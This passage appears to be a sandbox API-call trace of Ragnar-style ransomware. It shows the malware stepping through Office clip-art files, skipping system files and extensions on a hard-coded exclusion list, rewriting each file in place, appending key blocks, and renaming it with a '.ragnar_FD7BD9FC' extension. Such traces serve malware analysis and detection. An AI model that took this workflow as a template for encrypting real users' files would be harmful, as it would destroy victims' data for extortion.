| out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.429] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.429] GetProcessHeap () returned 0x580000 [0084.429] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.429] CloseHandle (hObject=0xf4) returned 1 [0084.429] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" [0084.429] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.ragnar_FD7BD9FC" [0084.429] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.429] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1 [0084.429] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.429] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107712.WMF" | out: lpString1="J0107712.WMF") returned="J0107712.WMF" [0084.429] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned=".WMF" [0084.429] lstrcmpiW (lpString1="J0107712.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="autorun.inf") returned 1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="boot.ini") returned 1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="bootfont.bin") returned 1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="bootsect.bak") returned 1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="bootmgr") returned 1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="bootmgr.efi") returned 1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="bootmgfw.efi") returned 1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="desktop.ini") returned 1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="iconcache.db") returned 1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="ntldr") returned -1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="ntuser.dat") returned -1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="ntuser.dat.log") returned -1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="ntuser.ini") returned -1 [0084.430] lstrcmpiW (lpString1="J0107712.WMF", lpString2="thumbs.db") returned -1 [0084.430] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.430] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.430] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.430] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.430] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.430] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.430] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 0x20 [0084.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.431] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4636) returned 1 [0084.431] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1213, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.431] GetProcessHeap () returned 0x580000 [0084.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.431] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.435] VirtualAlloc (lpAddress=0x0, dwSize=0x121c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.435] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.435] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.435] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x121c, lpOverlapped=0x0) returned 1 [0084.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.436] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x121c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.436] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x121c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x121c, lpOverlapped=0x0) returned 1 [0084.436] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x121c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.436] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x121c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.436] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.437] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.437] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.437] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.437] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.437] GetProcessHeap () returned 0x580000 [0084.437] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.437] CloseHandle (hObject=0xf4) returned 1 [0084.437] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" [0084.437] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.ragnar_FD7BD9FC" [0084.437] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.438] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1 [0084.438] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.438] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107718.WMF" | out: lpString1="J0107718.WMF") returned="J0107718.WMF" [0084.438] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned=".WMF" [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="autorun.inf") returned 1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="boot.ini") returned 1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="bootfont.bin") returned 1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="bootsect.bak") returned 1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="bootmgr") returned 1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="bootmgr.efi") returned 1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="bootmgfw.efi") returned 1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="desktop.ini") returned 1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="iconcache.db") returned 1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="ntldr") returned -1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="ntuser.dat") returned -1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="ntuser.dat.log") returned -1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="ntuser.ini") returned -1 [0084.438] lstrcmpiW (lpString1="J0107718.WMF", lpString2="thumbs.db") returned -1 [0084.438] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.438] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.438] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.438] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.438] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.438] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.438] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 0x20 [0084.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.439] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3800) returned 1 [0084.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xecf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.439] GetProcessHeap () returned 0x580000 [0084.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.439] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.440] VirtualAlloc (lpAddress=0x0, dwSize=0xed8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.440] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.441] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xed8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xed8, lpOverlapped=0x0) returned 1 [0084.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.441] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xed8, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.441] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xed8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xed8, lpOverlapped=0x0) returned 1 [0084.441] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xed8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.441] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xed8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.441] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.441] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.441] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.442] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.442] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.442] GetProcessHeap () returned 0x580000 [0084.442] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.442] CloseHandle (hObject=0xf4) returned 1 [0084.442] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" [0084.442] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.ragnar_FD7BD9FC" [0084.442] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.442] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1 [0084.442] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.442] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107722.WMF" | out: lpString1="J0107722.WMF") returned="J0107722.WMF" [0084.442] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned=".WMF" [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="autorun.inf") returned 1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="boot.ini") returned 1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="bootfont.bin") returned 1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="bootsect.bak") returned 1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="bootmgr") returned 1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="bootmgr.efi") returned 1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="bootmgfw.efi") returned 1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="desktop.ini") returned 1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="iconcache.db") returned 1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="ntldr") returned -1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="ntuser.dat") returned -1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="ntuser.dat.log") returned -1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="ntuser.ini") returned -1 [0084.443] lstrcmpiW (lpString1="J0107722.WMF", lpString2="thumbs.db") returned -1 [0084.443] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.443] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.443] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.443] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.443] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.443] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.443] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 0x20 [0084.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.444] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8260) returned 1 [0084.444] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x203b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.444] GetProcessHeap () returned 0x580000 [0084.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.444] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.445] VirtualAlloc (lpAddress=0x0, dwSize=0x2044, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.445] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2044, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2044, lpOverlapped=0x0) returned 1 [0084.446] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.446] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2044, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.446] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2044, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2044, lpOverlapped=0x0) returned 1 [0084.447] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2044, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.447] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.447] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.447] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.447] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.447] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.447] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.447] GetProcessHeap () returned 0x580000 [0084.447] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.447] CloseHandle (hObject=0xf4) returned 1 [0084.447] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" [0084.447] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft 